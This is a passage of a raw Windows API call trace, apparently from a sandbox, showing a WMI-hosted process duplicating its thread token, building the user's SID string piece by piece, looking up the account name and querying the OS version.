pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0087.990] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f1f0 | out: hHeap=0x2e0000) returned 1 [0087.991] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0087.992] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0087.992] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0087.993] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0087.993] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0087.993] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0087.993] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0087.995] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0087.996] GetCurrentThread () returned 0xfffffffffffffffe [0087.996] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x248) returned 1 [0087.996] malloc (_Size=0xd8) returned 0xf3750 [0087.996] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0087.996] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0087.996] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0087.997] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0087.997] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0087.997] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0087.997] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0087.997] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0087.997] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0087.998] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0087.998] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0087.998] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0087.998] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0087.998] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0087.999] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0087.999] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0087.999] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0087.999] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0087.999] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0087.999] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0088.000] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0088.000] malloc (_Size=0x18) returned 0xef020 [0088.000] DuplicateTokenEx (in: hExistingToken=0x248, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x2d4) returned 1 [0088.000] malloc (_Size=0x48) returned 0xed2c0 [0088.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5d6b99c0, dwHighDateTime=0x1d9eb0c)) [0088.000] SetEvent (hEvent=0x1f0) returned 1 [0088.001] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0088.001] GetLastError () returned 0x7a [0088.001] malloc (_Size=0x2c) returned 0xee200 [0088.001] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0088.001] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0088.001] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0088.001] malloc (_Size=0x1c) returned 0xeff30 [0088.001] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0088.001] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0088.001] malloc (_Size=0x18) returned 0xeef00 [0088.001] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0088.001] malloc (_Size=0x18) returned 0xeef60 [0088.002] malloc (_Size=0x18) returned 0xeef20 [0088.002] SysStringLen (param_1="S-1-") returned 0x4 [0088.002] SysStringLen (param_1="5") returned 0x1 [0088.002] memcpy (in: _Dst=0x381628, _Src=0x3811d8, _Size=0xa | out: _Dst=0x381628) returned 0x381628 [0088.002] memcpy (in: _Dst=0x381630, _Src=0x381178, _Size=0x4 | out: _Dst=0x381630) returned 0x381630 [0088.002] free (_Block=0xeef00) [0088.002] free (_Block=0xeef60) [0088.002] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0088.002] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0088.002] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0088.002] malloc (_Size=0x18) returned 0xeef60 [0088.002] malloc (_Size=0x18) returned 0xeef00 [0088.002] SysStringLen (param_1="S-1-5") returned 0x5 [0088.002] SysStringLen (param_1="-") returned 0x1 [0088.002] memcpy (in: _Dst=0x381178, _Src=0x381628, _Size=0xc | out: _Dst=0x381178) returned 0x381178 [0088.002] memcpy (in: _Dst=0x381182, _Src=0x3811d8, _Size=0x4 | out: _Dst=0x381182) returned 0x381182 [0088.002] free (_Block=0xeef20) [0088.002] free (_Block=0xeef60) [0088.002] malloc (_Size=0x18) returned 0xeef60 [0088.002] malloc (_Size=0x18) returned 0xeef20 [0088.003] SysStringLen (param_1="S-1-5-") returned 0x6 [0088.003] SysStringLen (param_1="21") returned 0x2 [0088.003] memcpy (in: _Dst=0x3811d8, _Src=0x381178, _Size=0xe | out: _Dst=0x3811d8) returned 0x3811d8 [0088.003] memcpy (in: _Dst=0x3811e4, _Src=0x381628, _Size=0x6 | out: _Dst=0x3811e4) returned 0x3811e4 [0088.003] free (_Block=0xeef00) [0088.003] free (_Block=0xeef60) [0088.003] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0088.003] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0088.003] malloc (_Size=0x18) returned 0xeef60 [0088.003] malloc (_Size=0x18) returned 0xeef00 [0088.003] SysStringLen (param_1="S-1-5-21") returned 0x8 [0088.003] SysStringLen (param_1="-") returned 0x1 [0088.003] memcpy (in: _Dst=0x381628, _Src=0x3811d8, _Size=0x12 | out: _Dst=0x381628) returned 0x381628 [0088.003] memcpy (in: _Dst=0x381638, _Src=0x381178, _Size=0x4 | out: _Dst=0x381638) returned 0x381638 [0088.003] free (_Block=0xeef20) [0088.003] free (_Block=0xeef60) [0088.003] malloc (_Size=0x18) returned 0xeef60 [0088.003] malloc (_Size=0x18) returned 0xeef20 [0088.003] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0088.003] SysStringLen (param_1="4219442223") returned 0xa [0088.004] memcpy (in: _Dst=0x337788, _Src=0x381628, _Size=0x14 | out: _Dst=0x337788) returned 0x337788 [0088.004] memcpy (in: _Dst=0x33779a, _Src=0x3811d8, _Size=0x16 | out: _Dst=0x33779a) returned 0x33779a [0088.004] free (_Block=0xeef00) [0088.004] free (_Block=0xeef60) [0088.004] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0088.004] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0088.004] malloc (_Size=0x18) returned 0xeef60 [0088.004] malloc (_Size=0x18) returned 0xeef00 [0088.004] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0088.004] SysStringLen (param_1="-") returned 0x1 [0088.004] memcpy (in: _Dst=0x337aa8, _Src=0x337788, _Size=0x28 | out: _Dst=0x337aa8) returned 0x337aa8 [0088.004] memcpy (in: _Dst=0x337ace, _Src=0x381628, _Size=0x4 | out: _Dst=0x337ace) returned 0x337ace [0088.004] free (_Block=0xeef20) [0088.004] free (_Block=0xeef60) [0088.004] malloc (_Size=0x18) returned 0xeef60 [0088.004] malloc (_Size=0x18) returned 0xeef20 [0088.004] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0088.004] SysStringLen (param_1="4223814209") returned 0xa [0088.004] memcpy (in: _Dst=0x34d958, _Src=0x337aa8, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0088.004] memcpy (in: _Dst=0x34d980, _Src=0x381628, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0088.005] free (_Block=0xeef00) [0088.005] free (_Block=0xeef60) [0088.005] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0088.005] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0088.005] malloc (_Size=0x18) returned 0xeef60 [0088.005] malloc (_Size=0x18) returned 0xeef00 [0088.005] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0088.005] SysStringLen (param_1="-") returned 0x1 [0088.005] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x3e | out: _Dst=0x34dc88) returned 0x34dc88 [0088.005] memcpy (in: _Dst=0x34dcc4, _Src=0x381628, _Size=0x4 | out: _Dst=0x34dcc4) returned 0x34dcc4 [0088.005] free (_Block=0xeef20) [0088.005] free (_Block=0xeef60) [0088.005] malloc (_Size=0x18) returned 0xeef60 [0088.005] malloc (_Size=0x18) returned 0xeef20 [0088.005] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0088.005] SysStringLen (param_1="3835049652") returned 0xa [0088.005] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0088.005] memcpy (in: _Dst=0x34d996, _Src=0x381628, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0088.005] free (_Block=0xeef00) [0088.006] free (_Block=0xeef60) [0088.006] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0088.006] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0088.006] malloc (_Size=0x18) returned 0xeef60 [0088.006] malloc (_Size=0x18) returned 0xeef00 [0088.006] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0088.006] SysStringLen (param_1="-") returned 0x1 [0088.006] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x54 | out: _Dst=0x34dc88) returned 0x34dc88 [0088.006] memcpy (in: _Dst=0x34dcda, _Src=0x381628, _Size=0x4 | out: _Dst=0x34dcda) returned 0x34dcda [0088.006] free (_Block=0xeef20) [0088.006] free (_Block=0xeef60) [0088.006] malloc (_Size=0x18) returned 0xeef60 [0088.006] malloc (_Size=0x18) returned 0xeef20 [0088.006] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0088.006] SysStringLen (param_1="1000") returned 0x4 [0088.006] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0088.006] memcpy (in: _Dst=0x34d9ac, _Src=0x381628, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0088.006] free (_Block=0xeef00) [0088.006] free (_Block=0xeef60) [0088.007] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0088.007] malloc (_Size=0x5e) returned 0xf0800 [0088.007] free (_Block=0xeef20) [0088.007] malloc (_Size=0x18) returned 0xeef20 [0088.008] free (_Block=0xf0800) [0088.008] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0088.009] GetLastError () returned 0x7a [0088.009] malloc (_Size=0x14) returned 0xeef60 [0088.009] malloc (_Size=0x16) returned 0xeef00 [0088.009] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebcca4, ReferencedDomainName=0xeef00, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0088.009] malloc (_Size=0x18) returned 0xef040 [0088.010] malloc (_Size=0x18) returned 0xef0a0 [0088.010] free (_Block=0xeef60) [0088.010] free (_Block=0xeef00) [0088.010] free (_Block=0xeff30) [0088.010] free (_Block=0xef0a0) [0088.010] free (_Block=0xef040) [0088.010] free (_Block=0xeef20) [0088.011] free (_Block=0xee200) [0088.011] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0088.011] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0088.011] GetLastError () returned 0x7a [0088.011] malloc (_Size=0x2c) returned 0xee240 [0088.011] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0088.012] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0088.012] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0088.012] malloc (_Size=0x1c) returned 0xeff30 [0088.012] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0088.012] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0088.012] malloc (_Size=0x18) returned 0xeef20 [0088.012] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0088.012] malloc (_Size=0x18) returned 0xef040 [0088.012] malloc (_Size=0x18) returned 0xef0a0 [0088.012] SysStringLen (param_1="S-1-") returned 0x4 [0088.012] SysStringLen (param_1="5") returned 0x1 [0088.012] memcpy (in: _Dst=0x3811d8, _Src=0x381178, _Size=0xa | out: _Dst=0x3811d8) returned 0x3811d8 [0088.012] memcpy (in: _Dst=0x3811e0, _Src=0x381628, _Size=0x4 | out: _Dst=0x3811e0) returned 0x3811e0 [0088.012] free (_Block=0xeef20) [0088.012] free (_Block=0xef040) [0088.012] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0088.012] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0088.012] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0088.013] malloc (_Size=0x18) returned 0xef040 [0088.013] malloc (_Size=0x18) returned 0xeef20 [0088.013] SysStringLen (param_1="S-1-5") returned 0x5 [0088.013] SysStringLen (param_1="-") returned 0x1 [0088.013] memcpy (in: _Dst=0x381628, _Src=0x3811d8, _Size=0xc | out: _Dst=0x381628) returned 0x381628 [0088.013] memcpy (in: _Dst=0x381632, _Src=0x381178, _Size=0x4 | out: _Dst=0x381632) returned 0x381632 [0088.013] free (_Block=0xef0a0) [0088.013] free (_Block=0xef040) [0088.013] malloc (_Size=0x18) returned 0xef040 [0088.013] malloc (_Size=0x18) returned 0xef0a0 [0088.013] SysStringLen (param_1="S-1-5-") returned 0x6 [0088.013] SysStringLen (param_1="21") returned 0x2 [0088.013] memcpy (in: _Dst=0x381178, _Src=0x381628, _Size=0xe | out: _Dst=0x381178) returned 0x381178 [0088.013] memcpy (in: _Dst=0x381184, _Src=0x3811d8, _Size=0x6 | out: _Dst=0x381184) returned 0x381184 [0088.013] free (_Block=0xeef20) [0088.013] free (_Block=0xef040) [0088.013] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0088.013] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0088.013] malloc (_Size=0x18) returned 0xef040 [0088.014] malloc (_Size=0x18) returned 0xeef20 [0088.014] SysStringLen (param_1="S-1-5-21") returned 0x8 [0088.014] SysStringLen (param_1="-") returned 0x1 [0088.014] memcpy (in: _Dst=0x3811d8, _Src=0x381178, _Size=0x12 | out: _Dst=0x3811d8) returned 0x3811d8 [0088.014] memcpy (in: _Dst=0x3811e8, _Src=0x381628, _Size=0x4 | out: _Dst=0x3811e8) returned 0x3811e8 [0088.014] free (_Block=0xef0a0) [0088.014] free (_Block=0xef040) [0088.014] malloc (_Size=0x18) returned 0xef040 [0088.014] malloc (_Size=0x18) returned 0xef0a0 [0088.014] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0088.014] SysStringLen (param_1="4219442223") returned 0xa [0088.014] memcpy (in: _Dst=0x337788, _Src=0x3811d8, _Size=0x14 | out: _Dst=0x337788) returned 0x337788 [0088.014] memcpy (in: _Dst=0x33779a, _Src=0x381178, _Size=0x16 | out: _Dst=0x33779a) returned 0x33779a [0088.014] free (_Block=0xeef20) [0088.014] free (_Block=0xef040) [0088.014] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0088.014] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0088.014] malloc (_Size=0x18) returned 0xef040 [0088.015] malloc (_Size=0x18) returned 0xeef20 [0088.015] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0088.015] SysStringLen (param_1="-") returned 0x1 [0088.015] memcpy (in: _Dst=0x337aa8, _Src=0x337788, _Size=0x28 | out: _Dst=0x337aa8) returned 0x337aa8 [0088.015] memcpy (in: _Dst=0x337ace, _Src=0x3811d8, _Size=0x4 | out: _Dst=0x337ace) returned 0x337ace [0088.015] free (_Block=0xef0a0) [0088.015] free (_Block=0xef040) [0088.015] malloc (_Size=0x18) returned 0xef040 [0088.015] malloc (_Size=0x18) returned 0xef0a0 [0088.015] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0088.015] SysStringLen (param_1="4223814209") returned 0xa [0088.015] memcpy (in: _Dst=0x34dc88, _Src=0x337aa8, _Size=0x2a | out: _Dst=0x34dc88) returned 0x34dc88 [0088.015] memcpy (in: _Dst=0x34dcb0, _Src=0x3811d8, _Size=0x16 | out: _Dst=0x34dcb0) returned 0x34dcb0 [0088.015] free (_Block=0xeef20) [0088.015] free (_Block=0xef040) [0088.015] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0088.015] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0088.015] malloc (_Size=0x18) returned 0xef040 [0088.015] malloc (_Size=0x18) returned 0xeef20 [0088.015] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0088.015] SysStringLen (param_1="-") returned 0x1 [0088.016] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0088.016] memcpy (in: _Dst=0x34d994, _Src=0x3811d8, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0088.016] free (_Block=0xef0a0) [0088.016] free (_Block=0xef040) [0088.016] malloc (_Size=0x18) returned 0xef040 [0088.016] malloc (_Size=0x18) returned 0xef0a0 [0088.016] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0088.016] SysStringLen (param_1="3835049652") returned 0xa [0088.016] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x40 | out: _Dst=0x34dc88) returned 0x34dc88 [0088.016] memcpy (in: _Dst=0x34dcc6, _Src=0x3811d8, _Size=0x16 | out: _Dst=0x34dcc6) returned 0x34dcc6 [0088.016] free (_Block=0xeef20) [0088.016] free (_Block=0xef040) [0088.016] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0088.016] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0088.016] malloc (_Size=0x18) returned 0xef040 [0088.016] malloc (_Size=0x18) returned 0xeef20 [0088.016] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0088.016] SysStringLen (param_1="-") returned 0x1 [0088.017] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0088.017] memcpy (in: _Dst=0x34d9aa, _Src=0x3811d8, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0088.017] free (_Block=0xef0a0) [0088.017] free (_Block=0xef040) [0088.017] malloc (_Size=0x18) returned 0xef040 [0088.017] malloc (_Size=0x18) returned 0xef0a0 [0088.017] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0088.017] SysStringLen (param_1="1000") returned 0x4 [0088.017] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x56 | out: _Dst=0x34dc88) returned 0x34dc88 [0088.017] memcpy (in: _Dst=0x34dcdc, _Src=0x3811d8, _Size=0xa | out: _Dst=0x34dcdc) returned 0x34dcdc [0088.017] free (_Block=0xeef20) [0088.017] free (_Block=0xef040) [0088.017] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0088.017] malloc (_Size=0x5e) returned 0xf0800 [0088.017] free (_Block=0xef0a0) [0088.017] malloc (_Size=0x18) returned 0xef0a0 [0088.018] free (_Block=0xf0800) [0088.018] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, 